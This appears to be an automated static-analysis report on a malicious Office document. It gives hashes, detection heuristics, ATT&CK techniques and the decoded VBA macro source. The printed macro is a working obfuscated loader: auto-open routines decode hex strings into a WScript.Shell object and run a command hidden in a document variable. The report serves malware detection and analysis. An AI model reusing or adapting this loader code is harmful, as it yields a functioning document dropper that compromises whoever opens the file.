Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 207865d23f5e0931…

MALICIOUS

Office (OLE)

65.5 KB Created: 2018-05-30 21:28:00 Authoring application: Microsoft Office Word First seen: 2018-06-19
MD5: 19bc0bf61343705e653fadb7b835af68 SHA-1: bbee3674a25fc75b829d972d2fa987e1fa49e098 SHA-256: 207865d23f5e0931e84c982c63e58c167fca23f32bb84b12a9c16e59803f2e0a
342 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The file contains obfuscated VBA macros, including Workbook_Open and Document_Open auto-execution routines. These macros utilize CreateObject and CallByName to execute a payload, likely downloaded from an external source. The presence of ClamAV detection for 'Xls.Malware.Valyria-6700357-0' further confirms its malicious nature.

Heuristics 9

  • ClamAV: Xls.Malware.Valyria-6700357-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Valyria-6700357-0
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2236 bytes
SHA-256: 8002be1818548551e9f5c7fe352c3238b80257a22db498f400f065aa94143277
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit

Private Function QGNY() As String
Dim aQGNY As String
aQGNY = "957BB49580959595B29595BE95BB95957795959595919591959585C89595C8606F957C95A895957E5EC19567B495789583957E9595"
Dim xcQGNY = aQGNY
Dim xcVQJPWAOZQ = aQGNY & xcQGNY
End Function

Sub Workbook_Open()
    Application.Run "ThisWorkbook." & HNA_G("53526A5C4E5F4E5256505B")
End Sub
Private Function GRPU() As String
Dim aGRPU As String
aGRPU = "957BB49580959595B29595BE95BB95957795959595919591959585C89595C8606F957C95A895957E5EC19567B495789583957E9595"
Dim xcGRPU = aGRPU
Dim xcXIXYMLTZY = aGRPU & xcGRPU
End Function

Public Sub W_TWV()
    Dim NOX_JG As Object: Set NOX_JG = VBA.CreateObject(HNA_G("625E6E7D747B7F395E73707777"))
    CallByName NOX_JG, "Run", VbMethod, HNA_G(ActiveDocument.Variables("INKOPP").Value), 0, True
End Sub
Private Function IVSF() As String
Dim aIVSF As String
aIVSF = "957BB49580959595B29595BE95BB95957795959595919591959585C89595C8606F957C95A895957E5EC19567B495789583957E9595"
Dim xcIVSF = aIVSF
Dim xcUNSRVPLES = aIVSF & xcIVSF
End Function

Public Function HNA_G(ByVal NOX_JG As String)
   Dim QEI_QS As String
   Dim AU_J As Long
   For AU_J = 1 To Len(NOX_JG) Step 2
        QEI_QS = QEI_QS & Chr(CLng(Chr(38) & Chr(72) & Mid(NOX_JG, AU_J, 2)) - 11)
   Next
   HNA_G = QEI_QS
End Function
Private Function WDEJ() As String
Dim aWDEJ As String
aWDEJ = "957BB49580959595B29595BE95BB95957795959595919591959585C89595C8606F957C95A895957E5EC19567B495789583957E9595"
Dim xcWDEJ = aWDEJ
Dim xcQBVGZBFHQ = aWDEJ & xcWDEJ
End Function

Public Sub Document_Open()
    Application.Run HNA_G("53526A5C4E5F4E5256505B")
End Sub
Sub HG_QCTCGKEP()
    W_TWV
End Sub
Private Function KZLH() As String
Dim aKZLH As String
aKZLH = "957BB49580959595B29595BE95BB95957795959595919591959585C89595C8606F957C95A895957E5EC19567B495789583957E9595"
Dim xcKZLH = aKZLH
Dim xcSAOBTFCWZ = aKZLH & xcKZLH
End Function

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